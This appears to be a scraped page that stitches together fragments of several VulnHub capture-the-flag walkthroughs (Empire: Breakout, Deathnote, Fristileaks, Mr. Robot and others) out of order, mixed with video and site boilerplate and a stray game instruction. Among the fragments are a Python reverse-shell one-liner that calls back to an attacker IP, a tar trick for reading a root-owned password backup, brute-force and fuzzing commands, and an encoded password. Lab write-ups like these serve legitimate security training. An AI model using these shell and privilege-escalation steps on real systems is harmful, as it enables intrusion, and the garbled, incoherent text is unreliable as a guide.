Please try to understand each step. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. The l comment can be seen below. sudo abuse Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. We need to figure out the type of encoding to view the actual SSH key. Save my name, email, and website in this browser for the next time I comment. Walkthrough 1. We got the below password . The output of the Nmap shows that two open ports have been identified Open in the full port scan. We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. At first, we tried our luck with the SSH Login, which could not work. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. On the home directory, we can see a tar binary. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. The CTF or Check the Flag problem is posted on vulnhub.com. The command and the scanners output can be seen in the following screenshot. Locate the AIM facility by following the objective marker. Always test with the machine name and other banner messages. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. The output of the Nmap shows that two open ports have been identified Open in the full port scan. We got a hit for Elliot.. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. We downloaded the file on our attacker machine using the wget command. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. Lastly, I logged into the root shell using the password. Please note: For all of these machines, I have used the VMware workstation to provision VMs. As usual, I started the exploitation by identifying the IP address of the target. We decided to download the file on our attacker machine for further analysis. We can do this by compressing the files and extracting them to read. We added another character, ., which is used for hidden files in the scan command. Using this website means you're happy with this. Command used: << dirb http://deathnote.vuln/ >>. Ill get a reverse shell. I hope you liked the walkthrough. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. backend Therefore, were running the above file as fristi with the cracked password. In the above screenshot, we can see the robots.txt file on the target machine. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. By default, Nmap conducts the scan only on known 1024 ports. The difficulty level is marked as easy. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We will be using 192.168.1.23 as the attackers IP address. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. The ping response confirmed that this is the target machine IP address. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. Furthermore, this is quite a straightforward machine. option for a full port scan in the Nmap command. So, we clicked on the hint and found the below message. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. The second step is to run a port scan to identify the open ports and services on the target machine. As the content is in ASCII form, we can simply open the file and read the file contents. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. After completing the scan, we identified one file that returned 200 responses from the server. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. Another step I always do is to look into the directory of the logged-in user. However, enumerating these does not yield anything. The identified open ports can also be seen in the screenshot given below. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result The hint mentions an image file that has been mistakenly added to the target application. development The netbios-ssn service utilizes port numbers 139 and 445. sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports The IP address was visible on the welcome screen of the virtual machine. By default, Nmap conducts the scan only known 1024 ports. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Lets start with enumeration. The hint also talks about the best friend, the possible username. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. By default, Nmap conducts the scan only on known 1024 ports. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. Let us open the file on the browser to check the contents. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. 9. It can be used for finding resources not linked directories, servlets, scripts, etc. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. shellkali. . We will be using the Dirb tool as it is installed in Kali Linux. In the next step, we used the WPScan utility for this purpose. array We will continue this series with other Vulnhub machines as well. Unfortunately nothing was of interest on this page as well. So, let us rerun the FFUF tool to identify the SSH Key. We used the -p- option for a full port scan in the Nmap command. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. The enumeration gave me the username of the machine as cyber. command we used to scan the ports on our target machine. We identified a directory on the target application with the help of a Dirb scan. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. structures << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. VM running on 192.168.2.4. However, when I checked the /var/backups, I found a password backup file. Let's start with enumeration. Goal: get root (uid 0) and read the flag file https://download.vulnhub.com/empire/02-Breakout.zip. I simply copy the public key from my .ssh/ directory to authorized_keys. hackmyvm 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account Note: For all of these machines, I have used the VMware workstation to provision VMs. It's themed as a throwback to the first Matrix movie. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. Command used: << nmap 192.168.1.15 -p- -sV >>. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. It is a default tool in kali Linux designed for brute-forcing Web Applications. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. Prior versions of bmap are known to this escalation attack via the binary interactive mode. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. 2. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. We can see this is a WordPress site and has a login page enumerated. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. 7. However, for this machine it looks like the IP is displayed in the banner itself. The Dirb command and scan results can be seen below. the target machine IP address may be different in your case, as the network DHCP is assigning it. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . However, the scan could not provide any CMC-related vulnerabilities. Defeat the AIM forces inside the room then go down using the elevator. It was in robots directory. The identified password is given below for your reference. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. The hint can be seen highlighted in the following screenshot. The IP address was visible on the welcome screen of the virtual machine. It can be seen in the following screenshot. This is a method known as fuzzing. I have. I hope you enjoyed solving this refreshing CTF exercise. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Symfonos 2 is a machine on vulnhub. 11. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. We used the Dirb tool for this purpose which can be seen below. 12. It is linux based machine. This is Breakout from Vulnhub. By default, Nmap conducts the scan on only known 1024 ports. Please comment if you are facing the same. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. So, let us open the URL into the browser, which can be seen below. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. I am using Kali Linux as an attacker machine for solving this CTF. 13. We have identified an SSH private key that can be used for SSH login on the target machine. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Please leave a comment. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. Testing the password for fristigod with LetThereBeFristi! The scan command and results can be seen in the following screenshot. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. We ran the id command to check the user information. Host discovery. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. So as youve seen, this is a fairly simple machine with proper keys available at each stage. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. file permissions Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. We will be using. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. In the next step, we will be taking the command shell of the target machine. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. Until now, we have enumerated the SSH key by using the fuzzing technique. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Now, We have all the information that is required. We download it, remove the duplicates and create a .txt file out of it as shown below. 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